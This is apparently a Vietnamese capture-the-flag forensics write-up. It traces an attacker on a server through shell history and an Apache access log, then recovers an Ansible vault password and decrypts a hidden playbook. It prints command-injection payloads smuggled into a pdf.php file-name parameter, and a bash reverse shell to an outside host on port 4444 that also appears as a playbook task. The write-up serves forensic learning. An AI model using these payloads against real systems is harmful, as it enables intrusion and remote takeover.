Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Open My Vault

Sau khi ssh vào server, ta kiểm tra history của user:

    1  id
    2  cat /etc/passwd
    3  pwd
    4  cd /home/m4st3r/
    5  ping 128.66.0.0
    6  cat /etc/shadow
    7  l
    8  ll
    9  cd ansible/
   10  ls -lah
   11  tree .
   12  cat inventory.cfg
   13  cat playbook.yml
   14  cat roles/zip/tasks/main.yml
   15  mkdir roles/other
   16  mkdir roles/other/tasks
   17  ansible-vault -h
   18  ansible-vault create roles/other/tasks/main.yml
   19  vim playbook.yml
   20  ansible-playbook -h
   21  ansible-playbook -i inventory.cfg --vault-password-file=/tmp/.secure playbook.yml
   22  rm /tmp/.secure

Ở dòng 21, m4st3r đã chạy một playbook đã mã hóa với password nằm ở /tmp/.secure và sau đó anh ấy đã xóa nó với rm /tmp/.secure

Thử chạy lại dòng 21, kết quả trả về là không thể vì thiếu ssh-key

Giờ thì check thử /var/log ta có:

ll /var/log/
total 712
drwxr-xr-x 1 root root              4096 Dec  4 11:53 ./
drwxr-xr-x 1 root root              4096 Dec  4 11:53 ../
-rw-r--r-- 1 root root             13764 Dec  4 11:56 alternatives.log
drwxr-xr-x 1 root adm               4096 Dec  4 12:05 apache2/
drwxr-xr-x 1 root root              4096 Dec  4 11:53 apt/
-rw-r--r-- 1 root root             58592 Sep 22 16:47 bootstrap.log
-rw-rw---- 1 root utmp                 0 Sep 22 16:47 btmp
-rw-r--r-- 1 root root            284658 Dec  4 11:56 dpkg.log
-rw-r--r-- 1 root root             32032 Dec  4 12:05 faillog
drwxr-sr-x 2 root systemd-journal   4096 Dec  4 11:53 journal/
-rw-rw-r-- 1 root utmp            292292 Dec 11 08:17 lastlog
drwx------ 2 root root              4096 Dec  4 11:53 private/
-rw-rw-r-- 1 root utmp               384 Dec 11 08:17 wtmp

Okay, giờ thì check log theo thứ tự ưu tiên là syslog -> weblog. Đúng là anh ấy đã quên xóa log. Ở /var/log/apache2/access.log ta tìm được thứ này:

203.0.113.0 - - [03/Sep/2022:13:34:31 +0200] "GET /pdf.php?name=a.pdf;echo%20%22C4tXk9ctpG9QEMeL%22%20%3E%20/tmp/.secure HTTP/1.1" 200 31 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
203.0.113.0 - - [03/Sep/2022:13:34:57 +0200] "GET /pdf.php?name=a.pdf;bash%20-i%20%3E&%20/dev/tcp/128.66.0.0/4444%200%3E&1 HTTP/1.1" 200 31 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"

Thứ này giống như website đã bị chèn shell. Decode với URL decode ta được:

echo "C4tXk9ctpG9QEMeL" > /tmp/.secure
bash -i >& /dev/tcp/128.66.0.0/4444 0>&1

Vậy là ta đã tìm được .secure password của vault. Giờ thì decrypt nó :

echo "C4tXk9ctpG9QEMeL" > /tmp/.secure
ansible-vault decrypt --vault-pass-file /tmp/.secure roles/other/tasks/main.yml
Decryption successful
...
cat roles/other/tasks/main.yml
- name: "hack the planet"
  ansible.builtin.shell: "bash -i >& /dev/tcp/128.66.0.0/4444 0>&1"

- name: "If someone search for a Flag ^^"
  ansible.builtin.shell: "echo '************' > /flag"

^^